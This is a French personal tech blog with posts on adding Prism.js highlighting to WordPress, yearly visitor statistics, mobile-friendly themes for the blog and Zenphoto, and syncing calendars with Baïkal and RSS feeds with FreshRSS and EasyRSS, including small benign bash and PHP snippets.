Et c’est Tam Coc qui ferme la marche, article écrit pendant mon voyage en Asie en 2009. Il était déjà présent l’année dernière ! Ça me fait bien plaisir, et cela permet de fermer cette liste par de belles images. Titre20152016Fracture du coude – 6 mois après4 99811407Rééducation du coude3 93711374Synchroniser les agendas de Thunderbird et Android avec Baïkal5821476Faire son arbre généalogique avec GRAMPS635 1126Rooter le Mororola Moto G 4G LTE400903Chute de vélo (à l’arrêt)463 839Motorola Moto G : passage à Android 5.1 avec la “Stock ROM”548Radiotray et les nouvelles URLs pour Radio-France174467Le principe de Peter et de Dilbert250408FreshRSS et EasyRSS : une bonne combinaison155293Installation d’Ubuntu 16.04, retour et problèmes rencontrés 288L’obsolescence programmée309 284Plus de guidage vocal dans OsmAnd 252TV Samsung, Mediatomb et Ubuntu139218Mémoires d’une jeune fille rangée - Simone de Beauvoir215Convertir les fichiers TS de la Freebox (SD)115207Syncthing, pour synchroniser vos fichiers 194Un barbare en Asie - Henri Michaux 189Disk Station DS214 Synology - Installation 181Tam Coc143177 Voilà, à l’année prochaine, et portez vous bien !

Prism.js : coloration syntaxique sans plugin pour Wordpress

Mon, 02 May 2016 16:44:05 +0000

Afficher de belle manière des lignes de code sous Wordpress nécessite à priori l’installation d’un plugin dédié, comme par exemple SyntaxHighlighter Evolved.

Je l’avais abandonné quand le blog était hébergé chez Free, et que la consommation mémoire était limitée (voir Adieu SyntaxHighlighter). Il occupait environ 400 Ko de mémoire environ d’après ce que j’avais pu mesurer.

J’étais alors passé à quelque chose de beaucoup plus simple, un autre plugin appelé Code Autoescape, mais qui ne fait pas de coloration syntaxique, il permet juste de s’assurer que ce que l’on écrit entre deux balises ne soit pas interprété. Léger en mémoire, certes beaucoup moins joli visuellement, mais très efficace.

Voilà ce que peut donner SyntaxHighlighter, avec beaucoup de possibilités (presque trop), comme numéro de ligne, surlignage, de nombreux langages supportés, etc… Et un peu chargé visuellement à mon goût !

Et voilà ce que donne un petit script bash avec CodeAutoescape : plus basique, c’est difficile ! J’avais tout de même ajouté une petite image de terminal pour améliorer l’apparence ;-)

Or je suis tombé cette semaine sur cet article : How To Implement Prism.js Syntax Highlighting Into Your WordPress Site. Il s’agit de ne pas utiliser un plugin, mais d’incorporer au site quelque chose de beaucoup plus léger, créé avec les standards modernes du web : Prism. On peut par exemple ne sélectionner que les langages qui nous intéressent, ce qui réduit considérablement la taille mémoire occupée (il n’y pas d’options non plus, on peut juste choisir un thème, mais cela me convient parfaitement).

Voilà ce que donne le même script bash avec Prism.js :

#! /bin/sh
# nom du fichier : replaceall.sh
# pas de SAUVEGARDE des fichiers faite par ce script.
find . -type f -name '*.html' -print | while read i
do
sed "s|$1|$2|g" $i > $i.tmp && mv $i.tmp $i
done

Avouez que c’est tout de même nettement mieux, tout en restant sobre !

Voyons comment implémenter tout ça : l’article cité plus haut est très complet, je ne rentrerai pas dans tous les détails et remarques, il s’agit juste d’expliquer comment l’implémenter sur son blog wordpress, en français.

1ère étape : Sélection et téléchargement

Il faut d’abord se rendre sur la page de téléchargement de Prism, afin de sélectionner les langages que l’on souhaite, puis télécharger les deux fichiers nécessaires, à savoir prism.js et prism.css.

Sélectionner d’abord “Minified version” dans la section “Compression level” : seule la partie javascript sera compressée, mais c’est toujours ça de pris.
Sélectionner le thème que vous préférez : vous pouvez voir les différentes rendus de chaque thème sur la page d’accueil, en le sélectionnant (les petits cercles en haut à droite : default, dark, funky, etc..), puis en regardant le rendu dans les exemples de la page d’accueil. Pour ma part, j’ai choisi le Default.
Sélectionner les langages souhaités : par défaut, quatre langages sont déjà sélectionnés, à vous de choisir dans la longue liste si d’autres vous sont nécessaires. Pour ma part, j’ai juste rajouté le “bash” et le “php”.

Une fois ceci fait, rendez-vous en bas de la page : on vous indique la taille des deux fichiers (15,93Ko pour les deux fichiers dans mon cas, à comparer avec les 400Ko de SyntaxHighlighter !!) ; il ne reste plus qu’à télécharger les deux fichiers :prism.js et prism.css.

2ème étape : Installation

L’auteur de l’article insiste ici sur l’intérêt d’utiliser un thème enfant (child theme) plutôt qu’un thème parent. C’est une bonne pratique, cela permet entre autres de pouvoir mettre le thème parent à jour sans perdre des modifications apportées sur le thème enfant. Pour ma part, j’utilise le thème FourteenPress, qui est un thème enfant de FourteenPress.

Quoiqu’il en soit, placer les deux fichers prism.js et prism.css précédemment récupérés dans le dossier de votre thème.

Nous allons maintenant ajouter une nouvelle fonction à Wordpress de manière à charger ces deux fichiers. Si vous utilisez un thème enfant, c’est sans doute plus facile, le fichier functions.php n’existe peut-être même pas ! Voilà donc ce qu’il faut y mettre (ou ajouter à l’existant le cas échéant) :

<?php

// Function to add prism.css and prism.js to the site
function add_prism() {
    // Register prism.css file
    wp_register_style(
        'prismCSS', // handle name for the style so we can register, de-register, etc.
        get_stylesheet_directory_uri() . '/prism.css' // location of the prism.css file
    );
    // Register prism.js file
    wp_register_script(
        'prismJS', // handle name for the script so we can register, de-register, etc.
        get_stylesheet_directory_uri() . '/prism.js' // location of the prism.js file
    );
    // Enqueue the registered style and script files
    wp_enqueue_style('prismCSS');
    wp_enqueue_script('prismJS');
}
add_action('wp_enqueue_scripts', 'add_prism');

?>

3ème étape : Utilisation

Il ne reste maintenant plus qu’à utiliser les balises suivantes pour démarrer les blocs de code : <pre><code class="language-bash"> pour le bash, <pre><code class="language-javascript"> pour le javascript, <pre><code class="language-markup"> pour le HTML, etc… Voilà un autre exemple avec le javascript :

var myObject = {
    property1: "something",
    property2: 5,
    property3: true
};

Et voilà !

Problèmes rencontrés

J’ai tout de même rencontré un petit souci lors de l’implémentation de Prism.js : j’avais oublié de désactiver le plugin CodeAutoescape ! Ce qui fait qu’à chaque fois que je voulais utiliser <pre><code class="language-bash"> par exemple, il était systématiquement remplacé par <pre><code> …. Donc attention à un éventuel conflit avec un plugin de ce genre.

Il faut d’ailleurs toujours utiliser l’onglet “Texte” de l’éditeur Wordpress pour insérer du code dans un article, sinon le TinyMCE Editor (onglet Visuel) risque fort d’interpréter certains caractères et de modifier complètement ce que l’on a tapé, et bien sûr le rendu de l’article.

Autre remarque : même en utilisant l’onglet “Texte”, j’ai rencontré des problèmes. Il faut alors utiliser les HTML entities à la place, typiquement pour le caractère “<” annonçant ducode PHP. Par exemple, taper ceci dans l’éditeur : Plutôt que cela : Le signe inférieur qui sert à indiquer le langage PHP est interprété alors qu’il ne devrait pas…

Statistiques du blog – année 2015

Wed, 06 Jan 2016 18:49:55 +0000

Tout d’abord, meilleurs vœux pour cette nouvelle année 2016 à toutes et à tous passant sur ce blog, par hasard ou pas… Santé & bonheur pour vous et vos proches, c’est le plus important dans ce monde qui bascule doucement.

Comme chaque année (ou presque), il est temps de faire les statistiques du blog. Et cette fois, on repart de zéro puisque fin 2014 j’ai migré vers un nouvel hébergeur, suite à des déconvenues avec Free (voir ici).

Repartir de zéro (ou changer d’hébergeur) a des avantages et des inconvénients, vous allez voir pourquoi !

Les stats

Commençons par le nombre de visites mensuelles : et là, ça fait mal, puisque le nombre de visites a encore chuté ; bon d’accord, il était déjà en baisse avant le changement d’hébergeur : après avoir passé la barre des 10 000 visites mensuelles en 2012, la moyenne 2013 était autour de 7 500 visites, et en-dessous de 5 000 visites pour l’année 2014. Ça, c’est quand j’étais chez Free.

Pour l’année 2015, on dépasse péniblement les 2500 visites mensuelles en décembre… Le bon côté des choses, c’est que la hausse est régulière depuis janvier 2015 (on partait de pas grand chose il est vrai) :

Le record de visites par jour est même déjà battu en janvier 2016… Champagne ! :-)

Ce qui nous donne en comparant les années de 2009 à 2015 :

31 694 en 2009
45 260 en 2010
70 283 en 2011
107 008 en 2012
91 574 en 2013
48 604 en 2014
17 923 en 2015

Grâce au plugin WP online counter, j’ai pu conserver le nombre total de visiteurs du blog (depuis sa création), et on arrive donc cette année à 1 162 849 visites à ce jour.

Les articles

Il y a maintenant 971 articles publiés sur le blog, et 1 099 commentaires. Soit 76 articles rédigés en 2015, et 24 commentaires cette même année.

Venons-en maintenant au bon côté des choses : les articles les plus lus !

Avec l’accumulation au fil des années, on retrouvait souvent les mêmes articles d’année en année. Avec le changement d’hébergeur, ces statistiques sont également remises à zéro, ce qui redonne une chance aux articles plus récents d’apparaître dans le « top 20»… Sans pour autant avoir la moindre chance de détrôner les deux premiers articles concernant ma fracture du coude ! (à moins que je me re-casse quelque chose ? franchement, je préfère pas !). Titre2015Fracture du coude – 6 mois après4 998Rééducation du coude3 937Faire son arbre généalogique avec GRAMPS635Synchroniser les agendas de Thunderbird et Android avec Baïkal582Chute de vélo (à l’arrêt)463Rooter le Mororola Moto G 4G LTE400L’obsolescence programmée309Le principe de Peter et de Dilbert250Radiotray et les nouvelles URLs pour Radio-France174Prasat Preah Vihear158FreshRSS et EasyRSS : une bonne combinaison155Tam Coc143TV Samsung, Mediatomb et Ubuntu139Bretagne 1950-2012128VTT Giant128Convertir les fichiers TS de la Freebox (SD)115Le pays Gallo113Le guide TV libre QMagneto112Proverbe grec108Ils étaient les brigades rouges106 Et c’est l’article sur GRAMPS qui monte sur le podium, ce qui est plutôt une bonne surprise. Il y a aussi plusieurs articles récents liés au smartphone et ce que j’en fais (Baïkal, rooter, FreshRSS et EasyRSS) qui apparaissent, tant mieux. Deux articles écrits pendant mon voyage en Asie sont également présents (Prasat Preah Vihear au Cambodge, et Tam Coc au Vietnam), ça me fait bien plaisir.

Le dernier article est celui sur les Brigades rouges : si vous n’avez pas vu ce reportage, regardez-le ! Je l’ai encore en mémoire (et aussi en fichier), c’est une histoire incroyable, très loin de la version officielle, et qui donne un bel exemple de la manipulation médiatique…

Aucun article sur la littérature n’apparaît par contre, et c’est bien dommage ! Le premier est en 24ème position, et c’est Le langage silencieux – Edward T. Hall, il a bien mérité d’être cité ici, d’autant que ce n’est pas un livre facile, mais réellement passionnant.

Voilà, à l’année prochaine, et portez vous bien !

Zenphoto v1.4.9 et nouveau thème zpMobile

Mon, 27 Jul 2015 16:44:43 +0000

Après avoir changé le thème du blog pour l’adapter aux terminaux mobiles (voir l’article Nouveau thème : Fourteenpress), il me restait à m’occuper du thème de Zenphoto (Zenpage) qui n’était pas “Google mobile-friendly” et franchement pas pratique à visualiser sur un smartphone !

J’ai donc regardé un peu ce qui se passait côté zenphoto, et découvert que la dernière version incluait un thème adapté aux mobiles, j’ai nommé zpmobile.

Hier, je me suis donc décidé à mettre à jour Zenphoto à la dernière version, soit la 1.4.9 (j’en étais resté à la 1.4.6). J’y suis allé prudemment, en faisant bien les sauvegardes qu’il fallait au cas où il faille revenir en arrière, et tout s’est très bien passé. J’ai alors pu sélectionner le thème zpmobile.

Comme le montre la photo ci-contre, l’affichage est bien adapté au smartphone. Le thème est assez sobre, j’aime bien. Il a tout de même fallu que j’ajoute le bouton “Retour au blog” qui n’est évidemment pas présent par défaut. Et c’est là que tout s’est compliqué…

J’avais tout d’abord fait quelques tests en local sur mon PC. Après quelques tâtonnements pour trouver les bonnes classes CSS à utiliser pour que ce simple lien ressemble aux autres boutons, tout fonctionnait à merveille sur mon PC. So far so good !

J’applique alors les mêmes modifications sur le site en ligne, plutôt confiant, et … ça ne marche pas ! Page blanche, et un beau message d’erreur : “ReferenceError: Gravatar is not defined” dans la console de Firebug :

Le même message pouvait également concerner WpdTree, une fonction utilisée par un plugin wordpress. En fait, il n’a pas grand chose à voir avec mon problème !

Bref, j’étais coincé, impossible d’ajouter ce simple lien ! Ne trouvant pas de solutions, j’ai posé la question sur le forum de Zenphoto. Une heure après, j’avais la réponse.

En fait, c’était tout bête, il suffisait d’ajouter un paramètre au lien HTML lui indiquant que le lien est un lien externe. Indispensable avec ce thème qui utilise le framework jQuery Mobile ! Par défaut il intercepte tout, il faut donc lui signaler que ce lien ne lui est pas destiné.

Voilà donc ce que j’ai inséré dans le fichier functions.php du thème zpmobile : la “class” définie donne le bouton en fond noir et coins arrondis (sans rien avoir à changer dans le fichier style.css du thème), et donc le fameux paramètre “rel = external” du lien qui résout mon problème.

Et voilà, Zenphoto utilise désormais lui-aussi un thème adapté aux mobiles ! :-)

Nouveau thème : Fourteenpress

Tue, 19 May 2015 15:52:51 +0000

Voilà, un nouveau thème est maintenant actif, il s’agit du thème Fourteenpress, qui est en fait un “child theme” de Twenty Fourteen, mais adapté aux blogs.

Twenty Fourteen est l’un des thèmes proposés de base par wordpress, mais offrant un affichage de type Magazine, qui ne me convenait guère. Fourteenpress, le thème-enfant donc, se résume globalement à un fichier de style CSS, qui suffit à modifier toute l’apparence, c’est d’ailleurs assez bluffant.

Tout cela fait suite à l’initiative de Google destinée à privilégier les sites adaptés aux mobiles (voir l’article Google mobile-friendly : il va falloir changer mon thème).

J’ai tout de même fait quelques modifications de base avant de le mettre en ligne, notamment élargir la zone de texte pour les articles en passant à une seule colonne, et en réduisant un peu la largeur de cette dernière. Et aussi quelques modifications dans le fichier style.css, pour la compatibilité avec les anciens articles, des changements de couleurs pour certains liens, le style de morceaux de codes, les citations, etc…

La bannière en haut de page, toujours “aléatoire”, est plus grande, j’ai dû refaire les images (je ne les ai pas toutes encore refaites, et sans doute en profiter pour faire un tri). Et quand on fait défiler la page vers le bas, le menu reste visible… pas mal !

J’ai également dû installer un nouveau plugin : PHP Code Widget, pour pouvoir conserver la petite citation affichée à droite. En effet, j’utilise pour cela un vieux plugin qui n’est plus maintenu (wp_utterquotes) et qui n’est pas un widget.

Il y aura sûrement d’autres petites modifications à faire plus tard, mais pour l’essentiel, tout à l’air de bien fonctionner. Et côté smartphone, voilà ce que ça donne :

Pas mal non ? Et bien sûr, il passe le test Google avec succès ! :-)

Google mobile-friendly : il va falloir changer mon thème

Fri, 24 Apr 2015 17:52:20 +0000

Depuis le 21 avril, Google a mis en place un nouveau traitement visant à privilégier les sites adaptés aux appareils mobiles.

L’opération Google mobile-friendly souhaite aider les internautes mobiles à trouver des pages adaptées à leur appareil ; considérant que l’usage du mobile se généralise, Google souhaite donc que les webmasters mettent leurs sites à niveau.

On appelle ça le “responsive-design” (ou “site web adaptif” en bon français). L’idée parait bonne, et va dans le sens du confort de l’utilisateur : concrètement, les utilisateurs d’appareils mobiles verront leurs résultats optimisés pour afficher d’abord les sites mobile-friendly.

Par conséquence, les sites non-adaptés aux appareils mobiles verront leur classement relégué quelques pages plus loin ! Voilà le texte de Google :

A compter du 21 avril 2015, nous allons étendre notre utilisation du critère de compatibilité mobile pour en faire l’un des critères de positionnement du moteur. Ce changement affectera les résultats de recherche mobiles partout dans le monde et dans toutes les langues, et son impact sera significatif. Notre objectif est de fournir à nos utilisateurs des résultats pertinents, de qualité, et qui soient compatibles avec leur appareil mobile.

Google fournit une page de test ici ; considérant que mon thème date de 2008 (même si je l’ai pas mal personnalisé depuis), je n’ai pas été surpris que le résultat soit négatif :

Et donc :

Texte illisible, car trop petit : OK, avec les trois colonnes d’affichées, je confirme. Mais un “double-tap” sur la colonne centrale permet de n’afficher que celle-ci, et le blog est alors lisible. Mais bon…
Liens trop rapprochés : ça serait facile à modifier avec une simple déclaration CSS, mais insuffisant au regard des autres problèmes signalés.
Fenêtre d’affichage mobile non configurée : là encore, il s’agit d’une balise HTML non configurée (meta viewport), permettant d’adapter l’affichage à la taille de l’écran.

Je pourrais peut-être essayer d’apdapter mon thème, mais je vais plutôt essayer d’en trouver un plus récent : d’une part, Wordpress a lui aussi beaucoup évolué depuis 2008, et mon thème n’utilise pas toutes les fonctionnalités disponibles, et d’autre part, ça fait un petit bout de temps que j’ai envie de passer à un thème à deux colonnes. Avec le thème actuel (3 colonnes), la largeur restant pour les articles est trop faible, et c’est un peu gênant quand l’article est un tuto avec des images que je dois systématiquement réduire (par exemple).

Reste à trouver le nouveau thème ! Ce n’est pas ce qui manque, mais trouver le bon n’est pas forcément évident : il faudra l’adapter aux articles existants, c’est-à-dire passer un peu de temps à adapter le fichier style.css du nouveau thème.

Synchroniser les agendas de Thunderbird et Android avec Baïkal

Mon, 12 Jan 2015 17:37:08 +0000

Je ne suis pas un grand utilisateur du smartphone, pas plus que du simple téléphone d’ailleurs… néanmoins, un smartphone est un véritable ordinateur de poche, et l’on peut utiliser ses possibilités pour des choses bien pratiques.

L’une de ces choses, qui me trottait dans la tête depuis un petit bout de temps, c’était la synchronisation de mes deux agendas : le principal étant sur le PC, dans Thunderbird (Lightning, un add-on), et bien sûr le calendrier du smartphone, sur lequel j’ai pris l’habitude de noter des rendez-vous, etc… lorsque je suis hors de chez moi… Quitte à le recopier manuellement sur le PC une fois à la maison, ce qui était vraiment fastidieux et source d’erreur.

Je précise que si j’utilise Android, ce n’est pas la ROM d’origine, et que je ne déclare pas de compte Google lors de l’installation. L’idée générale est de se “dégoogliser” (voir cet article), et d’apprendre à se passer de tous les beaux services “offerts” par Google.

Comme je bénéficie désormais d’un hébergeur qui offre lui aussi des possibilités, je me suis mis à chercher comment faire. Les deux agendas ne pouvant se synchroniser tous les deux directement, il va falloir utiliser le protocole CalDAV et un serveur, Baïkal en l’occurrence…

CalDAV

C’est un protocole d’édition de calendrier en ligne, qui permet d’échanger des événements. Un calendrier est, dans CalDAV, un dossier contenant des évènements, des tâches… Chaque évènement est transmis sous la forme d’un fichier VEVENT, VTASK… Il est donc possible de manipuler un seul élément sans avoir à échanger l’ensemble du calendrier.

Thunderbird/Lightning intègre ce protocole, contrairement à Android où il faudra installer un module complémentaire. Mais commençons par installer le serveur.

One.com

Ma première idée était en fait d’utiliser le calendrier fourni par One.com. La page d’aide indique que CalDAV est supporté. Hélas, après quelques essais, impossible de synchroniser avec Thunderbird. L’erreur est :

DAV_NOT_DAV. Description : La ressource sur « http://caldav.one.com/ » n’est pas une collection DAV ou n’est pas disponible.

Je contacte le support, et leur réponse est décevante (pour ne pas dire surprenante) :

Cher Client,

Merci d’avoir contacté One.com!

Nous sommes navré mais nous ne pouvons garantir le bon fonctionnement de composant dans votre application . Nous avons eu certain clients où cette manipulation fonctionnaient à 50 %. Le département technique travaille à une solution corriger ces bugs mais nous n’avons pas de retour en ce moment.

Nous nous excusons pour la gêne occasionnée.

Dans ce cas, le mieux est de laisser tomber…

Baïkal

Baïkal est un serveur CalDAV+CardDAV léger, et open-source. Il requiert un serveur Apache 2, PHP 5.3.1 et utilise SQLite3 ou MySQL. Il est compatible avec Thunderbird et Android, simple à administrer, et s’installe très facilement. Exactement ce que je cherche !

Note : CardDAV, c’est la même chose que CalDAV, mais pour synchroniser les contacts.

Sur la page de Baïkal, j’ai donc téléchargé le “Flat package” (allons au plus simple), puis je l’ai dézippé, et enfin transféré sur One.com dans un répertoire dédié. Il s’agit de la v0.2.7. Voilà, il suffit ensuite de se rendre à cette adresse dans le navigateur, et en deux clics, le serveur est installé.

Il ne reste plus qu’à créer un utilisateur via l’interface d’administration :

Puis à lui créer un ou plusieurs agendas :

Voilà, c’est terminé côté serveur ! À noter que l’on ne peut pas visualiser le ou les agendas sur Baïkal : il ne fait que synchroniser, et le fait bien apparemment.

Info

Voir aussi cet article : Mise à jour DAVdroid et perte des couleurs des calendriers, où j’ai dû installer une version plus récente de Baïkal (v0.4.4).

Cette version permet de définir une couleur pour chaque calendrier, et fournit un nouveau dav.php qui remplace les cal.php (calendrier) et card.php (contacts) précédemment utilisés.

Thunderbird

Dans Thunderbird, ou plutôt Lightning, créer un nouvel agenda et sélectionner “Sur le réseau” :

Puis “CalDAV” en renseignant l’adresse de votre serveur sous la forme :

http(s)://nom_du_server/rép_baikal/cal.php/calendars/nom_utilisateur/nom_agenda

Enfin choisissez le nom et la couleur de votre agenda dans TH/Lightning :

Voilà, c’est terminé côté Thunderbird. Aller dans les propriétés de l’agenda pour régler la synchronisation comme vous le souhaitez :

Notez que cette opération est à répéter pour chaque calendrier que vous avez créé sur Baïkal.

À ce stade, j’ai eu besoin d’importer les événements du calendrier local que j’utilisais auparavant. Pour ce faire :

clic droit sur le calendrier local, et “Exporter”. Vous récupérez alors un fichier “.ics”.
sélectionner le nouveau calendrier créé, puis menu “Événements et tâches - Importer”, puis sélectionner le fichier précédemment sauvegardé.

Android

Côté Android, il faut une version 4 minimum (j’avais un Android 2.3.7 sur mon vieux HTC Desire, il y avait bien moyen de le faire avec aCal, mais c’était vraiment limité… et le calendrier très peu esthétique). J’ai donc installé une ROM Android JB 4.1.2.

Il va d’abord falloir installer DAVdroid, à partir du dépôt F-Droid. Il s’intègre de manière transparente au système ; une fois installé, il va se charger de synchroniser vos agendas (et vos contacts si vous le voulez).

NOTE : il existe également CalDAV SyncAdapter, également sur f-droid, qui ne fait que les calendriers, et qui a l’air moins avancé que DAVdroid.

Une fois ceci fait, lancer DAVdroid :

Choisir “Login with URL and user name”:

Renseigner les paramètres du serveur et du compte. Pour Baikal, il faut utiliser l’URL sous la forme :

http(s)://nom_du_serveur/rép_baikal/cal.php/principals

Voilà, DAVdroid va se connecter, et vous demander quels agendas vous désirez synchroniser.

Un compte a été créé sous Android (Paramètres systèmes - Comptes), et la synchronisation activée.

aCalendar

C’est finalement assez simple à mettre en place. Il faut bien entendu un hébergeur web pour ce faire (ou alors s’auto-héberger), mais les pré-requis de Baïkal sont très standards, et il s’installe vraiment en deux clics.

Désormais, mes agendas sont synchronisés, toute modification faite côté Thunderbird sera répliquée côté Android, et réciproquement.

Une dernière image, celle de aCalendar, l’application de calendrier que j’utilise sur Android. Le seule raison est que aCalendar affiche les anniversaires en allant chercher les informations dans les contacts (et en affichant leur photo et leur âge dans le calendrier), idéal pour ne pas oublier la famille et les amis… On ne peut pas y créer des agendas, mais il récupère automatiquement les agendas définis sous Google calendar.

Statistiques du blog – année 2014

Tue, 06 Jan 2015 19:05:20 +0000

Tout d’abord, meilleurs vœux pour cette nouvelle année 2015 à toutes et à tous passant sur ce blog !

Santé & bonheur pour vous et vos proches, c’est le plus important.

Les stats

L’année dernière, je n’avais pas fait d’articles sur les stats du blog (par fainéantise et manque de motivation) … Regardons un peu les dernières stats du site quand il était sur free.fr.

Le nombre total de visites (affiché en bas de page grâce au plugin WP online counter) depuis la création du site a tout de même passé le cap du million, avec 1 035 066 visites à ce jour !

Le nombre de visiteurs est clairement en baisse depuis 2012. Cela s’explique par le nombre d’articles lui aussi nettement en baisse, et peut-être sur les sujets abordés. Ce qui est sûr, c’est que j’y ai consacré beaucoup moins de temps ces deux dernières années. Après avoir passé la barre des 10 000 visites mensuelles en 2012, la moyenne 2013 est autour de 7 500 visites, et en-dessous de 5 000 visites pour l’année 2014. Au moins, la baisse est régulière… ;-)

C’est confirmé en comparant les années de 2009 à 2014 :

31 694 en 2009
45 260 en 2010
70 283 en 2011
107 008 en 2012
91 574 en 2013
48 604 en 2014

Le record mensuel reste de 11 397 visites en octobre 2012, et la baisse à peu près régulière jusqu’à atteindre 4 000 visites mensuelles en 2014. Les chiffres de novembre/décembre ne sont pas à prendre en compte, puisque le blog chez free.fr a été arrêté courant novembre.

Les articles

Il y a maintenant 894 articles sur le blog, et 1 068 commentaires.

Comme à chaque fois, voilà le « top 20» des articles les plus consultés fin 2014, avec les chiffres de 2010/2011/2012 pour ceux qui étaient déjà présents : Article2010201120122014Rééducation du coude3 44110 79724 21344 282Fracture du coude - 6 mois après1 1013 96012 23729 854Convertir les fichiers TS de la Freebox (SD)2 0318 20922 907Les oursins n’aiment pas le Round-up1 0221 7146 69712 404Le zona, c’est la zone2 9135 1608 50512 232L’obsolescence programmée5 65511 710VTT Giant4 3646 7658 90511 359Ubuntu 12.04 – Installation et personnalisation6 44010 792“Écoutez” France Culture… en mp3 (2)7332 2264 7607 304Wengo plutôt que Skype1 1202 8664 1226 684VirtualBox3 7964 8665 5536 063Les démons de Jésus2 3974 0034 9236 011Le pays Gallo1 4832 5194 1715 810Photos endommagées ? Photorec est là3 0735 488Mise à jour WordPress 3.2.11 5943 6385 176Sauvegarder ses données sous Ubuntu1 4352 6703 5224 418Migration d’Evolution à Thunderbird1 8433 1984 158Zazie dans le métro – Raymond Queneau4 068Tristes tropiques – Claude Lévi-Strauss1 0171 8432 9263 717Le guide TV libre QMagneto3 258 On y retrouve toujours un peu les mêmes, forcément, l’accumulation au fil des années aidant : les articles sur ma fracture du coude tiennent le haut du podium, et pour longtemps je pense… j’ai d’ailleurs fermé les commentaires sur ces deux articles, les questions devenant un peu redondantes.

Tout de même, deux nouvelles apparitions :

Zazie dans le métro – Raymond Queneau : un deuxième livre qui apparaît dans la liste, c’est une bonne nouvelle. Vu les commentaires qu’il y a eu sur cet article, les visiteurs sont surtout des élèves en quête d’information pour un devoir scolaire !! Mais bon… Tristes tropiques se sent moins seul dans cette liste.
Le guide TV libre QMagneto : l’article est référencé sur la documentation de Ubuntu-fr.org ici (j’en ai profité pour mettre le lien à jour suite au changement d’hébergeur), ceci explique cela.

Je viens d’activer les stats sur le nouvel hébergeur (avec le plugin Jetpack), on verra l’année prochaine ce que cela donne, car les compteurs sont désormais remis à zéro…

FreshRSS et EasyRSS : une bonne combinaison

Sun, 28 Dec 2014 18:55:53 +0000

Pouvoir surveiller l’activité de ses sites préférés en un clin d’œil en obtenant une vue d’ensemble des dernières actualités ou articles, c’est vraiment très pratique. C’est ce que permet un agrégateur RSS.

Puisque j’ai du migrer mon blog sur un hébergeur payant (voir ici), je bénéficie de nouvelles possibilités, comme par exemple installer un agrégateur RSS côté serveur.

Voyons un peu de quoi il s’agit, et de la solution que j’ai mis en place : FreshRSS côté serveur, et EasyRSS sur le smartphone.

Info

28-mars-2018 : J’ai fait un autre article ici quand j’ai installé une nouvelle version de FreshRSS sur mon serveur. Ce qui suit est toujours valable, à quelques nuances près (l’endroit où remplir le mot de passe API par exemple). Il y a surtout une nouvelle information à propos de la mise à jour automatique des flux, que je n’avais pas résolu dans cer article !

RSS

On appelle donc cela la syndication de contenu, et c’est rendu possible grâce à RSS 2.0 ( R eally S imple S yndication), qui définit le format de données qui sera échangé. À noter qu’il existe un autre format appelé Atom, qui permet de faire la même chose pour autant que je sache, mais peut-être moins populaire.

Ainsi, à partir d’un logiciel agrégateur dans lequel vous avez saisi préalablement les sites qui vous désirez suivre, vous pouvez avoir un aperçu rapide des nouveaux articles publiés par vos sites préférés. Plus besoin d’aller visiter chaque site un par un pour savoir si un article a été publié…

Exemple avec Liferea sous Ubuntu :

Mais il y a encore mieux : faire tourner ce logiciel sur un serveur, afin qu’il fasse tout le travail automatiquement. Il ne reste plus qu’à vous connecter sur ce serveur, tout est prêt : les derniers articles parus sont listés, leur contenu (ou une partie) a été mis en cache localement, il n’y a même plus besoin de se connecter sur le site d’origine, sauf si on le souhaite bien sûr.

C’est aussi intéressant lorsqu’on lit ses flux à partir d’un smartphone : il y a moins de data à être transféré, c’est donc plus rapide.

Les logiciels permettant de faire cela sont légions, et là comme ailleurs, Google proposait sa propre solution : Google Reader, une plateforme côté serveur donc, devenu assez vite populaire. Le seul souci est une fois de plus que vous confiiez vos données à Google. Mais Google a décidé d’arrêter son service en Mars 2013. Problème définitivement réglé donc.

Dommage, car un très beau client Google Reader pour Android avait été réalisé : EasyRSS (qui n’est plus disponible sur GooglePlay), avec un affichage soigné (et épuré), ainsi qu’une gestuelle adaptée au mobile.

FreshRSS

FreshRSS est décrit comme un agrégateur de flux léger et puissant, facile à héberger puisque écrit en PHP, langage fourni par tous les hébergeurs.

Ce serait peut-être même le meilleur, comme le prétend avec humour son auteur ;-) :

Au passage, l’auteur Marien Fressinaud est français, et c’est son premier projet. Il a présenté un bilan de son expérience sur Linuxfr : FreshRSS, 2 ans et tout va bien. C’est plutôt intéressant à lire.

J’ai donc commencé par installer FreshRSS sur One.com, mon hébergeur. L’installation est on ne peut plus simple, une simple copie via FTP, puis on ouvre dans son navigateur l’adresse correspondante, typiquement http://mon.serveur/FreshRSS. Il y a des pré-requis côté serveur (voir ici), mais tout était bien disponible chez One.com.

L’interface est assez intuitive, il ne reste plus qu’à créer un utilisateur, et ajouter ses sites préférés (j’ai personnellement importé ma liste de Liferea au format .ompl). En haut à droite de la page, un bouton de configuration vous donne accès aux différentes options/réglages/paramètres. Plusieurs thèmes sont disponibles.

Et voilà, c’est terminé, et directement utilisable dans Firefox :

Pour une utilisation au clavier, il existe des raccourcis qui sont paramétrables dans la page de configuration. Par exemple :

‘j’ pour passer à l’article suivant,

‘k’ pour passer à l’article précédent

‘c’ pour refermer

etc…

Je le teste alors sur mon smartphone, un bon vieux HTC Desire équipé d’un écran 3,7", et là, déception : l’affichage pose problème malgré le “responsive design”, l’écran est manifestement trop petit pour lire le flux RSS fourni. Dire qu’en 2010, le HTC Desire était au top… :-(

Il va donc falloir trouver une application Android dédiée…

EasyRSS

C’est là que je tombe sur EasyRSS, écrit pour Google Reader par un certain Sun Zheng. Google ayant arrêté son service, l’application est inutilisable, mais l’auteur a laissé les sources disponibles sur Github. Alkarex, un autre français impliqué dans le projet FreshRSS, décide alors de l’adapter à FreshRSS (fork), ce dernier étant compatible avec l’API Google. Soit exactement ce que je cherchais…

Encore un bel exemple des avantages du logiciel libre. Un projet peut être arrêté, repris par un autre, modifié, adapté, etc…

Il faut d’abord récupérer le .APK qui nous permettra de l’installer sur le smartphone. Pour cela, il faut aller sur la page du projet, et chercher ce fameux .APK, ce qui ne se révèle pas évident : il y a un lien sous Download vers ‘APK available’, qui nous emmène sur une page où il faut cliquer sur ‘EasyRSS-0.6.03-beta.apk’, une nouvelle page s’affiche alors, et là, il faut cliquer sur ‘View raw’ pour enfin télécharger le package android. Bon, normalement, on finit par y arriver ! ;-)

!! Attention, n’allez pas récupérer la version EasyRSS disponible sur Google Play, elle ne fonctionnera pas avec FreshRSS !!

Avant de l’installer sur Android, il faut aller changer un ou deux paramètres côté FreshRSS : aller dans Configuration - Utilisateurs, et cocher la case suivante :

Enregistrer, puis remonter en haut de page, pour saisir un mot de passe pour l’accès à partir du portable :

Voilà, le serveur est prêt.

